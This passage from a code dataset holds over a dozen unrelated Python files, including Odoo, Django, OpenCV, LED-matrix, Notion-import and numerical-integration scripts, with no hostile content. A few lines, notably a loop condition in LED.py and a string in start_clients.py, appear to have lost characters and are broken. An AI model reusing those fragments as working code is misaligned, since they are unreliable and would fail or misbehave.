'product_id'}\n _description = 'Member of BoM'\n\n product_id = fields.Many2one(string='Product that is part of BoM',\n comodel_name='product.product', required=True,\n ondelete='cascade', readonly=True)\n bom_ids = fields.One2many(string='Bills of materials',\n comodel_name='mrp.bom', readonly=True,\n compute='_dummy_function')\n indirect_bom_ids = fields.One2many(string='Indirect bills of materials',\n comodel_name='mrp.bom', readonly=True,\n compute = '_dummy_function')\n product_summary = fields.Char('Summary of product',\n related='product_id.name', readonly=True)\n\n @api.model\n def default_get(self, fields):\n ctx = self.env.context\n active_model = ctx.get('active_model', False)\n active_id = ctx.get('active_id', False)\n if active_model and active_id:\n obj_id = self.env[active_model].browse(active_id)\n if active_model == 'product.product':\n active_id = obj_id.id\n else:\n active_id = obj_id.product_id.id\n\n res = super(BomMemberOf, self).default_get(fields)\n\n if active_id:\n def get_indirect_bom_ids(product_id):\n ind_bom_line_ids = self.env['mrp.bom.line'].search([\n ('product_id', '=', product_id),\n ('bom_id.active', '=', True),\n ('bom_id.product_id.active', '=', True),\n ('bom_id.sequence', '<', 100)\n ])\n for ind_bom_line_id in ind_bom_line_ids:\n if ind_bom_line_id.bom_id.id not in indirect_bom_ids:\n indirect_bom_ids.add(ind_bom_line_id.bom_id.id)\n get_indirect_bom_ids(ind_bom_line_id.bom_id.\n product_id.id)\n\n bom_ids = set()\n indirect_bom_ids = set()\n\n bom_line_ids = self.env['mrp.bom.line'].search([\n ('product_id', '=', active_id),\n ('bom_id.active', '=', True),\n ('bom_id.product_id.active', '=', True),\n ('bom_id.sequence', '<', 100)\n ])\n for bom_line_id in bom_line_ids:\n bom_ids.add(bom_line_id.bom_id.id)\n get_indirect_bom_ids(bom_line_id.bom_id.product_id.id)\n\n res['bom_ids'] = list(bom_ids)\n res['indirect_bom_ids'] = list(indirect_bom_ids - bom_ids)\n res['product_id'] = active_id\n return res\n\n @api.multi\n def _dummy_function(self):\n # Dummy function to avoid unnecessary related field at mrp.bom\n return True\n","sub_path":"project-addons/stock_available_ph/wizards/bom_member_of.py","file_name":"bom_member_of.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"141772232","text":"import random\nimport requests\nimport webbrowser\nimport lxml.html\nimport configparser\nimport sys\nimport os\nfrom os.path import dirname, realpath\nfrom time import sleep\n\n# use dirname twice to get parent directory of current file\ndir_path = dirname(dirname(realpath(__file__)))\nos.chdir(dir_path)\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\nsecret_key = config['server']['secret-key']\n\nbrowser1 = webbrowser.get(config['tools']['browser1'])\nbrowser2 = webbrowser.get(config['tools']['browser2'])\nclient_names = config['tools']['client_names'].split(',')\n\ndef get_client_links(names, key):\n \"\"\" return links to log in as a client \"\"\"\n links= []\n for i in names:\n name = i\n url = 'http://127.0.0.1:5000/token'\n s = requests.session()\n r = s.get(url)\n source = lxml.html.document_fromstring(r.content)\n token = source.xpath('//input[@name=\"csrf_token\"]/@value')[0]\n headers = {'Referer': 'http://127.0.0.1:5000/token'}\n data = {'csrf_token': token, 'room': '1', 'task': '1', 'source': name, 'key': key}\n login_token = s.post(url, data=data, headers=headers).text\n if login_token.endswith('
'):\n login_token = login_token[:-6]\n uris = 'http://127.0.0.1:5000/?name={}&token={}'.format(name, login_token)\n links.append(uris)\n return links\n\nif __name__ == \"__main__\":\n\n # get the links (length of client_names is number of clients)\n links = get_client_links(client_names, key=secret_key)\n\n # open generated links using the web browsers specified in config file\n for i,link in list(enumerate(links)):\n if i%2 == 0:\n browser1.open(link)\n else:\n browser2.open(link)\n sleep(1)\n","sub_path":"tools/start_clients.py","file_name":"start_clients.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"473556154","text":"# -*- coding: utf-8 -*-\n# -*- code by Miaoking 2017.10.10 -*-\n\nimport wiringpi\nimport time\nimport txt\n\n# Vars\nOUTPUT = 1\nINPUT = 0\nHIGH = 1\nLOW = 0\n\n\ndef initWiringPi():\n wiringpi.wiringPiSetup()\n #(const int pinBase, const int numPins, const int dataPin, const int clockPin, const int latchPin) \n wiringpi.sr595Setup(100, 32, 12, 14, 10)\n\ndef initMatrix():\n for i in range(0,32):\n wiringpi.pinMode(100 + i,OUTPUT)\n for i in range(0,8):\n wiringpi.digitalWrite(100 + i,HIGH)\n wiringpi.digitalWrite(108 + i,HIGH)\n wiringpi.digitalWrite(116 + i,HIGH)\n\ndef clearMatrix(c):\n for i in range(0,8):\n if c is 'b':\n wiringpi.digitalWrite(100 + i,HIGH)\n elif c is 'g':\n wiringpi.digitalWrite(108 + i,HIGH)\n else:\n wiringpi.digitalWrite(116 + i,HIGH)\n wiringpi.digitalWrite(124 + i,HIGH)\n\ndef drawDot(y,c,h):\n if c is 'r':\n wiringpi.digitalWrite(124 + y,h)\n elif c is 'g':\n wiringpi.digitalWrite(108 + y,h)\n elif c is 'b':\n wiringpi.digitalWrite(116 + y,h)\n elif c is 'rb':\n wiringpi.digitalWrite(124 + y,h)\n wiringpi.digitalWrite(116 + y,h)\n elif c is 'rg':\n wiringpi.digitalWrite(124 + y,h)\n wiringpi.digitalWrite(108 + y,h)\n elif c is 'bg':\n wiringpi.digitalWrite(116 + y,h)\n wiringpi.digitalWrite(108 + y,h)\n elif c is 'rbg':\n wiringpi.digitalWrite(124 + y,h)\n wiringpi.digitalWrite(116 + y,h)\n wiringpi.digitalWrite(108 + y,h)\n \n\ndef Count_down():\n for i in range(9,0,-1):\n if i is 1:\n PrintDot(txt.Zifu['1'],1,'r')\n elif i is 2:\n PrintDot(txt.Zifu['2'],1,'r')\n elif i is 3:\n PrintDot(txt.Zifu['3'],1,'r')\n elif i is 4:\n PrintDot(txt.Zifu['4'],1,'r')\n elif i is 5:\n PrintDot(txt.Zifu['5'],1,'r')\n elif i is 6:\n PrintDot(txt.Zifu['6'],1,'r') \n elif i is 7:\n PrintDot(txt.Zifu['7'],1,'r') \n elif i is 8:\n PrintDot(txt.Zifu['8'],1,'r')\n elif i is 9:\n PrintDot(txt.Zifu['9'],1,'r')\n elif i is 0:\n PrintDot(txt.Zifu['0'],1,'r') \n\n \n \ndef PrintDot(Txt,t,c):\n tt = time.time()\n while True:\n for x in range(0,8):\n wiringpi.digitalWrite(100 + x,HIGH) #open\n for y in range(0,8):\n if Txt[x][y] is 1:\n drawDot(y,c,LOW)\n drawDot(y,c,HIGH) \n wiringpi.digitalWrite(100 + x,LOW) #close\n if time.time() - tt > t:\n break;\n\ndef ANextZ():\n Str=[chr(i).upper() for i in range(97,123)]\n for i in Str:\n PrintDot(txt.Zifu[i],2,'r')\n\ndef Broken_LR(Txt):\n c='r'\n PrintDot(Txt,2,c)\n for num in range(0,4):\n tt = time.time()\n while True:\n for x in range(0,8):\n wiringpi.digitalWrite(100 + x,HIGH) #open\n for y in range(0,8):\n if Txt[x][y] is 1:\n if y>3 and y+num<8:\n drawDot(y + num,c,LOW)\n elif y<4 and y-num>=0:\n drawDot(y - num,c,LOW)\n if y>3 and y+num<8:\n drawDot(y + num,c,HIGH)\n elif y<4 and y-num>=0:\n drawDot(y - num,c,HIGH)\n\n \n wiringpi.digitalWrite(100 + x,LOW) #close\n if time.time() - tt > 0.3:\n break;\ndef Move_Left(Txt,t,c):\n if t>0:\n PrintDot(Txt,t,c)\n m=[0,-1,-2,-3,-4,-5,-6,-7]\n else:\n m=[7,6,5,4,3,2,1,0,-1,-2,-3,-4,-5,-6,-7]\n for num in m:\n tt = time.time()\n while True:\n for x in range(0,8):\n wiringpi.digitalWrite(100 + x,HIGH) #open\n for y in range(0,8):\n if Txt[x][y] is 1:\n if y+num>=0:drawDot(y + num,c,LOW) #no in shuang zhi bianse xunhuan\n if y+num>=0:drawDot(y + num,c,HIGH) \n wiringpi.digitalWrite(100 + x,LOW) #close\n if time.time() - tt > 0.3:\n break;\n \ndef Move_Up(Txt,t,c):\n if t>0:\n PrintDot(Txt,t,c)\n m=[0,1,2,3,4,5,6,7]\n else:\n m=[-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7]\n for num in m:\n tt = time.time()\n while True:\n for x in range(0,8):\n wiringpi.digitalWrite(100 + x,HIGH) #open\n for y in range(0,8):\n if x+num <8 and x+num>0:\n e=x+num \n if Txt[e][y] is 1:\n drawDot(y,c,LOW) \n drawDot(y,c,HIGH)\n \n wiringpi.digitalWrite(100 + x,LOW) #close\n if time.time() - tt > 0.3:\n break;\n\ndef Move_Down(Txt,t,c):\n if t>0:\n PrintDot(Txt,t,c)\n m=[0,-1,-2,-3,-4,-5,-6,-7]\n else:\n m=[7,6,5,4,3,2,1,0,-1,-2,-3,-4,-5,-6,-7]\n for num in m:\n tt = time.time()\n while True:\n for x in range(0,8):\n wiringpi.digitalWrite(100 + x,HIGH) #open\n for y in range(0,8):\n if x+num <8 and x+num>0:\n e=x+num \n if Txt[e][y] is 1:\n drawDot(y,c,LOW) \n drawDot(y,c,HIGH)\n \n wiringpi.digitalWrite(100 + x,LOW) #close\n if time.time() - tt > 0.3:\n break;\n\n\ndef RemoveTwo(j):\n l=[]\n jnum=0\n for y in range(len(j[0])):\n n=0\n for x in range(0,8):\n n += j[x][y]\n if n is 0:\n jnum += 1\n else:\n jnum = 0\n\n if jnum>1: #这里设相邻的两个字符空几列\n l.append(y)\n \n for x in range(0,8):\n i=0\n for y in l:\n j[x].pop(y-i)\n i += 1\n return;\n \n\n\ndef Move_Txt(Text,c):\n j = [[0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0]]\n \n for i in list(Text):\n if i in txt.Zifu.keys():\n for x in range(0,8):\n j[x].extend(txt.Zifu[i][x])\n \n RemoveTwo(j)\n\n \n for num in range(0,len(j[0])):\n tt = time.time()\n while True:\n for x in range(0,8):\n wiringpi.digitalWrite(100 + x,HIGH) #open\n for y in range(num,num+8):\n if y=0:drawDot(y - num ,c,LOW) #no in shuang zhi bianse xunhuan\n if y-num>=0:drawDot(y - num,c,HIGH) \n wiringpi.digitalWrite(100 + x,LOW) #close\n if time.time() - tt > 0.3:\n break;\n \n\n\n \n# kaishi \ninitWiringPi()\ninitMatrix()\nclearMatrix('b')\n\n\n#Broken_LR(txt.Zifu['?']) \nPrintDot(txt.Zifu['smile'],2,'rb')\n#PrintDot(txt.Zifu['ok'],10,'r')\n\nwhile True:\n n = input(\"请输入字母或字符:\\n\")\n e = input(\"需要循环几次?\\n\")\n if n == \"\" :\n break\n else:\n \n \n if n in txt.Zifu.keys():\n PrintDot(txt.Zifu[n],int(e),'r') \n else:\n if e == \"\" :\n Move_Txt(n,'g')\n else:\n e = int(e)\n while e>0:\n Move_Txt(n,'g')\n e -= 1\n \n","sub_path":"Led/LED.py","file_name":"LED.py","file_ext":"py","file_size_in_byte":7874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"387191689","text":"import time\nimport threading\n\nclass MyThread(threading.Thread):\n def __init__(self, arg):\n super(MyThread, self).__init__()\n self.arg = arg\n #run函数必须重写,执行的任务写在run()中\n def run(self):\n time.sleep(2)\n print(\"the arg for this class is :{0}\".format(self.arg))\n\nfor i in range(5):\n t = MyThread(i)\n t.start()\n t.join()\n\nprint(\"main thread quit!!!\")","sub_path":"多线程/09.py","file_name":"09.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"474798596","text":"from sqlalchemy.orm import sessionmaker\nfrom forecast import util\nfrom sqlalchemy import Column, ForeignKey, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import MetaData\nfrom pysandag.database import get_connection_string\n\nimport os\n\n\ndef new_run(name='runs', run_id=None, econ_id=0, dem_id=0):\n Base = declarative_base()\n table_name = name\n class Run(Base):\n __tablename__ = table_name\n __table_args__ = {'schema': 'defm'}\n # define columns for the table\n id = Column(Integer, primary_key=True)\n economic_scenario_id = Column(Integer)\n demographic_scenario_id = Column(Integer)\n\n #metadata = MetaData(schema=\"defm\")\n\n\n engine = create_engine(get_connection_string(\"model_config.yml\", 'output_database')).execution_options(\n schema_translate_map={\n None: \"defm\", # no schema name -> \"defm\"\n })\n Base.metadata.schema = 'defm'\n if not engine.has_table(table_name,schema='defm'):\n Base.metadata.create_all(engine)\n\n db_session = sessionmaker(bind=engine)\n session = db_session()\n\n # Insert versions in database\n model_run = Run(\n economic_scenario_id=econ_id,\n demographic_scenario_id=dem_id)\n\n session.add(model_run)\n session.commit()\n run_id = model_run.id\n return run_id\n\n\ndef insert_run(db_name,model_run_id,df_results,table_name):\n\n engine = create_engine(get_connection_string(\"model_config.yml\", 'output_database'))\n\n # Insert prediction in the population table\n df_results['run_id'] = model_run_id # foreign key to run log table\n df_results.to_sql(name=table_name, con=engine, schema='defm', if_exists = 'append', index=True)\n df_results = df_results.drop('run_id', 1) # remove run_id\n","sub_path":"db/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"305302345","text":"'''\nPrograma teste - OpenCV acessando a webcam e detectando objetos redondos\n\n\nGustavo Voltani von Atzingen - Janeiro 2014\n'''\n\nimport numpy as np\nimport cv2\n\ncv2.namedWindow(\"preview\")\ncap = cv2.VideoCapture(0)\n\nret, frame = cap.read()\n\nwhile(True):\n ret, frame = cap.read() # Captura frame por frame\n\n if frame is not None:\n #cv2.circle(frame,(200,200), 50, (255,0,0),5)\n # Testes detector objeto redondo\n img = cv2.medianBlur(frame,5)\n gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n circles = cv2.HoughCircles(gray_image,cv2.cv.CV_HOUGH_GRADIENT,1,1000,param1=80,param2=25,minRadius=40,maxRadius=60)\n \n if circles is not None:\n for i in circles[0,:]:\n cv2.circle(frame,(i[0],i[1]), i[2], (255,0,0),5)\n \n cv2.imshow('frame',frame)\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n # When everything done, release the capture\n cap.release()\n cv2.destroyAllWindows()\n break\n\n\n \n","sub_path":"visao/opencv/cam_circles.py","file_name":"cam_circles.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"344781368","text":"# student.py\nimport csv\nimport os\nmy_path = os.path.abspath(os.path.dirname(__file__))\npath = os.path.join(my_path, \"../data/students.csv\")\n\nclass Student:\n \n @classmethod\n def all_students(cls):\n \n student_array = []\n \n with open(path) as csvfile:\n dict_reader = csv.DictReader(csvfile)\n for line in dict_reader:\n student_array.append(Student(**line))\n \n return student_array\n \n def __init__(self, **kwargs):\n self.name = kwargs['name']\n self.age = kwargs['age'] \n self.password = kwargs['password']\n self.role = kwargs['role']\n self.school_id = kwargs['school_id']\n\n def __str__(self):\n return f\"My name is {self.name} and my age is {self.age}. I am a {self.role} and my ID is {self.school_id}.\"\n\n \n\n# students = Student.all_students()\n# for x in students:\n# print(x)","sub_path":"classes/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"468341245","text":"import numpy as np\nimport cv2\nimport GriTonlama\n\n# Şuanlık Sadece giri fotoğrafları ters çevirebiliyor.\n\n\n\ndef TersAyna(Resim):\n yukseklik, genislik, kanal = Resim.shape\n YeniResim = np.zeros((yukseklik,genislik), dtype=\"uint8\")\n Resim = GriTonlama.GriTon(Resim)\n\n for x in range((yukseklik-1), 0, -1):\n for y in range((genislik-1), 0, -1):\n YeniResim[yukseklik - x][y] = Resim[x, y]\n\n return YeniResim","sub_path":"TersAyna.py","file_name":"TersAyna.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"389372653","text":"## 1. Overview ##\n\nf=open('movie_metadata.csv','r')\ndata=f.read()\nk =data.split(\"\\n\")\nmovie_data=[]\nfor i in k:\n movie_data.append(i.split(\",\"))\n\nprint(movie_data[0:5]) \n\n## 3. Writing Our Own Functions ##\n\ndef first_elts(input_lst):\n elts = []\n for each in input_lst:\n elts.append(each[0])\n return elts\n\nmovie_names = first_elts(movie_data)\nprint(movie_names[0:5])\n \n \n\n## 4. Functions with Multiple Return Paths ##\n\nwonder_woman = ['Wonder Woman','Patty Jenkins','Color',141,'Gal Gadot','English','USA',2017]\n\ndef is_usa(movie_data):\n if movie_data[6] ==\"USA\":\n return True \n else:\n return False\nwonder_woman_usa = is_usa(wonder_woman)\n \n \n\n## 5. Functions with Multiple Arguments ##\n\nwonder_woman = ['Wonder Woman','Patty Jenkins','Color',141,'Gal Gadot','English','USA',2017]\n\ndef index_equals_str(input_lst,index,str1):\n if input_lst[index] == str1:\n return True\n else:\n return False\nwonder_woman_in_color =index_equals_str(wonder_woman,0,'Wonder Woman')\n\n## 6. Optional Arguments ##\n\ndef index_equals_str(input_lst,index,input_str):\n if input_lst[index] == input_str:\n return True\n else:\n return False\ndef counter(input_lst,header_row = False):\n num_elt = 0\n if header_row == True:\n input_lst = input_lst[1:len(input_lst)]\n for each in input_lst:\n num_elt = num_elt + 1\n return num_elt\n\ndef feature_counter(input_lst,index,input_str,header_row = False):\n num_elt = 0\n if header_row == True:\n input_lst = input_lst[1:len(input_lst)]\n for each in input_lst:\n if each[index] == input_str:\n num_elt = num_elt + 1\n return num_elt\n\nnum_of_us_movies = feature_counter(movie_data,6,\"USA\",True)\n\nprint(num_of_us_movies) \n \n\n## 7. Calling a Function inside another Function ##\n\ndef feature_counter(input_lst,index, input_str, header_row = False):\n num_elt = 0\n if header_row == True:\n input_lst = input_lst[1:len(input_lst)]\n for each in input_lst:\n if each[index] == input_str:\n num_elt = num_elt + 1\n return num_elt\n\ndef summary_statistics(movie_data):\n num_japan_films =feature_counter(movie_data,6,'Japan',False)\n num_color_films =feature_counter(movie_data,2,'Color',False)\n num_films_in_english= feature_counter(movie_data,5,'English',False)\n summary_dict={'japan_films': num_japan_films , \n 'color_films' : num_color_films , \n 'films_in_english' : num_films_in_english }\n \n return summary_dict\nsummary = summary_statistics(movie_data)","sub_path":"Introduction to Functions-4.py","file_name":"Introduction to Functions-4.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"508636670","text":"import googlemaps\nimport os\nimport configparser\nfrom notion.client import NotionClient\nfrom notion.block import ImageBlock, MapsBlock\n\nclass Place:\n \"\"\"\n A class used to represent an place returned by the Google Places API.\n\n Attributes\n ----------\n name : str name of the place\n address : str address of the place\n type : list list of types that describe the place\n photo : str path\n \"\"\"\n\n def __init__(self, record):\n self.name = record[\"name\"]\n self.address = record[\"formatted_address\"]\n self.type = self.get_type(record[\"types\"])\n self.photo = self.save_photo(record)\n\n def get_type(self, types):\n filtered_types = [\"point_of_interest\",\n \"establishment\"]\n lst = []\n for t in types:\n if t not in filtered_types:\n lst.append(t.replace(\"_\",\" \").title())\n\n return lst\n\n # Saves photo and returns path\n def save_photo(self, record):\n if \"photos\" not in record or len(record[\"photos\"]) == 0:\n raise ValueError(\"No photo found\")\n photo = record[\"photos\"][0]\n places_photo = gmaps.places_photo(photo[\"photo_reference\"], max_width=400)\n if not os.path.exists(query):\n os.mkdir(query)\n path = \"/\".join([query,self.name])\n if places_photo:\n f = open(path, 'wb')\n for chunk in places_photo:\n if chunk:\n f.write(chunk)\n f.close()\n return path\n\n def __str__(self):\n return \"\\n\".join([self.name, self.address, str(self.type)])\n\ndef get_results(query):\n places = []\n response = gmaps.places(query)\n while (len(places) < num_results):\n for result in response[\"results\"]:\n try:\n record = gmaps.place(result[\"place_id\"])\n places.append(Place(record[\"result\"]))\n except ValueError:\n continue\n if len(places) == num_results:\n return places\n response = gmaps.places(query, response[\"next_page_token\"])\n return places\n\ndef add_places_to_database(places):\n cv = notion_client.get_collection_view(notion_url)\n collection = cv.collection\n for place in places:\n page = collection.add_row()\n page.name = place.name\n page.set_property(\"Address\", place.address)\n page.set_property(\"Type\", place.type)\n if place.photo:\n image = page.children.add_new(ImageBlock, width=400)\n image.upload_file(place.photo)\n\nprint(\"Reading config\")\nconfig = configparser.ConfigParser()\nconfig.read('config.txt')\nnotion_client = NotionClient(token_v2=config['Notion']['token'])\nnotion_url = config['Notion']['database_url']\ngmaps = googlemaps.Client(key=config['Maps']['key'])\nquery = config['Maps']['query']\nnum_results = int(config['Maps']['num_results'])\n\nprint(\"Finding results for\", query)\nplaces = get_results(query)\n\nprint(\"Found\", len(places), \"results.\")\n\nprint(\"Adding places to database.\")\nadd_places_to_database(places)\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"214857488","text":"import numpy as np\nfrom sympy import *\nimport math\n\ndef f(x):\n return 4 / (1 + x**2)\n # return np.exp(-x*x)\n\ndef trapezoid(f,a,b,N):\n h = (b-a)/N\n xi = np.linspace(a,b,N+1)\n fi = f(xi)\n s = 0.0\n for i in range(1,N):\n s = s + fi[i]\n s = (h/2)*(fi[0] + fi[N]) + h*s\n return s\n\n# romberg 积分法\ndef romberg(f,a,b,eps,nmax):\n Q = np.zeros((nmax,nmax),float)\n converged = 0\n for i in range(0,nmax):\n N = 2**i\n Q[i,0] = trapezoid(f,a,b,N)\n for k in range(0,i):\n n = k + 2\n Q[i,k+1] = 1.0/(4**(n-1)-1)*(4**(n-1)*Q[i,k] - Q[i-1,k])\n if (i > 0):\n if (abs(Q[i,k+1] - Q[i,k]) < eps):\n converged = 1\n break\n # print (Q[i,k+1],N,converged) \n return Q[i,k+1]\n\n# 生成n阶的legendre的在-1~1上的n个根\ndef legendre(n):\n x = symbols('x')\n lp = diff((x*x-1)**n, x, n) / 2**n / math.factorial(n)\n \n return solve(lp)\n\n# 生成第i个拉格朗日插值函数,xi是n个插值点,i从0开始\ndef lagrange_poly(i, xi):\n x = symbols('x')\n n = len(xi)\n y = 1\n for j in range(0, n):\n if(i != j):\n y = y * (x-xi[j])/(xi[i]-xi[j])\n return y\n\n# 生成第i个拉格朗日插值函数的从a到b的积分\ndef lagrange_Ai(i, xi, a, b):\n x = symbols('x')\n f = lagrange_poly(i, xi)\n return integrate(f, (x, a, b))\n\n# 只求-1~1之间的积分 \ndef gauss_legendre(f, a, b, m):\n xi = legendre(m)\n Ai = []\n for i in range(m):\n Ai.append(lagrange_Ai(i, xi, a, b))\n sum = 0\n for j in range(m):\n sum = sum + Ai[j] * f(xi[j])\n return sum\n\n\n\ndef main():\n romberg(f, -1, 1, 1.0e-12, 10)\n gauss_legendre(f, -1, 1, 6)\n\nif __name__ == '__main__':\n main()\n","sub_path":"5. Romberg.py","file_name":"5. Romberg.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"474271844","text":"'''\n将一个英文语句以单词为单位逆序排放。例如“I am a boy”,逆序排放后为“boy a am I”\n所有单词之间用一个空格隔开,语句中除了英文字母外,不再包含其他字符\n'''\nimport sys\n\ninput_1 = sys.stdin.readline().strip().split(\" \")\n\ninput_1.reverse()\nprint(input_1)\n# *************************************\nstr1 = ' '\nk = str1.join(input_1)\nprint(k)\n","sub_path":"algorithm/刷题/HJ13_句子逆序.py","file_name":"HJ13_句子逆序.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"212133395","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, logout\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import login as django_login\nfrom django.http import HttpResponseRedirect\nfrom Blog.models import NewsStatus\nfrom Blog.models import News\nfrom Blog.forms import NewsForm, SearchForm, ModerateForm\nimport datetime\n\n\n# Create your views here.\n\n\ndef user_profile(request):\n user = request.user\n user_news = News.objects.filter(user=user).order_by('-id')\n user_news = [\n {\n 'title': user_post.title,\n 'text': user_post.text,\n 'attachment': user_post.attachment,\n 'timestamp': user_post.timestamp,\n 'category': user_post.category,\n 'status': user_post.status,\n 'comment': user_post.comment\n }\n for user_post in user_news\n ]\n return render(\n request,\n 'user_profile.html',\n {'user': user,\n 'user_news': user_news})\n\n\ndef main_page(request):\n user = request.user\n news = News.objects.filter(status__status='Published').order_by('-id')\n news = [\n {\n 'title': user_news.title,\n 'text': user_news.text,\n 'attachment': user_news.attachment,\n 'timestamp': user_news.timestamp,\n 'category': user_news.category,\n 'user': user_news.user\n }\n for user_news in news\n ]\n return render(\n request,\n 'main.html',\n {'user': user,\n 'news': news})\n\n\ndef login(request):\n if request.method == 'POST':\n user = authenticate(\n request,\n username=request.POST['username'],\n password=request.POST['password'])\n if user is not None:\n django_login(request, user)\n return HttpResponseRedirect('/')\n else:\n return HttpResponseRedirect('/login')\n else:\n form = AuthenticationForm()\n return render(\n request,\n 'login.html',\n {'login_form': form})\n\n\ndef signup(request):\n if request.method == 'POST':\n form = UserCreationForm(request.POST)\n if form.is_valid():\n form.save()\n user = authenticate(username=form.cleaned_data.get('username'),\n password=form.cleaned_data.get('password1')\n )\n django_login(request, user)\n return redirect('/')\n else:\n form = UserCreationForm()\n return render(request, 'signup.html', {'form': form})\n\n\ndef log_out(request):\n logout(request)\n return redirect('/')\n\n\ndef create_news(request):\n if request.method == 'POST':\n fm = NewsForm(request.POST, request.FILES)\n if fm.is_valid():\n news = News()\n news.user_id = request.user.id\n news.title = fm.cleaned_data['title']\n news.text = fm.cleaned_data['text']\n news.attachment = fm.cleaned_data['attachment']\n news.timestamp = datetime.datetime.now()\n news.status = NewsStatus.objects.get(status='Pending')\n news.category_id = fm.cleaned_data['category'].id\n news.save()\n return redirect('/')\n else:\n fm = NewsForm()\n return render(\n request,\n 'create_news.html',\n {'fm': fm})\n\n\ndef error(request):\n return render(\n request,\n 'error.html')\n\n\ndef search(request):\n res_list = None\n if request.method == 'POST':\n flag = False\n fm = SearchForm(request.POST, request.FILES)\n if fm.is_valid():\n if fm.cleaned_data['options'] == 'category':\n ctg = fm.cleaned_data['category']\n res_list = News.objects.filter(category=ctg,\n status__status='Published')\n else:\n p_d = fm.cleaned_data['pub_date']\n res_list = News.objects.filter(timestamp__year=p_d.year,\n timestamp__month=p_d.month,\n timestamp__day=p_d.day,\n status__status='Published')\n else:\n fm = SearchForm()\n flag = True\n return render(\n request,\n 'search.html',\n {'fm': fm,\n 'search': flag,\n 'res_list': res_list})\n\n\ndef moderate(request):\n if not request.user.is_staff:\n return error(request)\n news_list = News.objects.filter(status__status='Pending').order_by('-id')\n fm = ModerateForm()\n return render(\n request,\n 'moderate.html',\n {'news': news_list,\n 'fm': fm})\n\n\ndef moderate_news(request):\n if request.method == 'POST':\n fm = ModerateForm(request.POST)\n if fm.is_valid():\n post = News.objects.get(id=request.GET['news_id'])\n if fm.cleaned_data['actions'] == 'publish':\n post.status = NewsStatus.objects.get(status='Published')\n else:\n post.status = NewsStatus.objects.get(status='Rejected')\n post.comment = fm.cleaned_data['comment']\n post.save()\n return redirect('/moderate')\n else:\n post = News.objects.get(id=request.GET['news_id'])\n fm = ModerateForm()\n return render(\n request,\n 'moderate_news.html',\n {'post': post,\n 'fm': fm})\n","sub_path":"Blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"379241419","text":"'''\r\nCreated on 2012-10-1\r\nVersion 1.1\r\n\r\n@author: Tong Feng\r\n'''\r\nimport fileIO\r\nimport dataProcess\r\nimport nltk\r\nimport os\r\n\r\ndef Create_Directory(dir_productCategory):\r\n dir_datasetUNICODE = dir_productCategory + \"DataSetUnicode\\\\\"\r\n dir_datasetASCII = dir_productCategory + \"DataSetASCII\\\\\"\r\n dir_dataset = dir_productCategory + \"DataSet\\\\\"\r\n dir_sents = dir_productCategory + \"Sents\\\\\"\r\n dir_sents_s = dir_productCategory + \"Sents_S\\\\\"\r\n dir_sents_s_cf_pf = dir_productCategory + \"Sents_S_CF_PF\\\\\"\r\n dir_other = dir_productCategory + \"other\\\\\"\r\n if not os.path.exists(dir_productCategory): os.makedirs(dir_productCategory)\r\n if not os.path.exists(dir_datasetUNICODE): os.makedirs(dir_datasetUNICODE)\r\n if not os.path.exists(dir_datasetASCII): os.makedirs(dir_datasetASCII)\r\n if not os.path.exists(dir_dataset): os.makedirs(dir_dataset)\r\n if not os.path.exists(dir_sents): os.makedirs(dir_sents)\r\n if not os.path.exists(dir_sents_s): os.makedirs(dir_sents_s)\r\n if not os.path.exists(dir_sents_s_cf_pf): os.makedirs(dir_sents_s_cf_pf)\r\n if not os.path.exists(dir_other): os.makedirs(dir_other)\r\n open(dir_productCategory + \"CF.txt\", 'w').close()\r\n open(dir_productCategory + \"PF.txt\", 'w').close()\r\n\r\ndef Create_DataSetASCII(old_dir, new_dir):\r\n filelist = fileIO.GetFilesNameList(old_dir)\r\n for x in filelist:\r\n print('Creating DataSetASCII...'+ x)\r\n 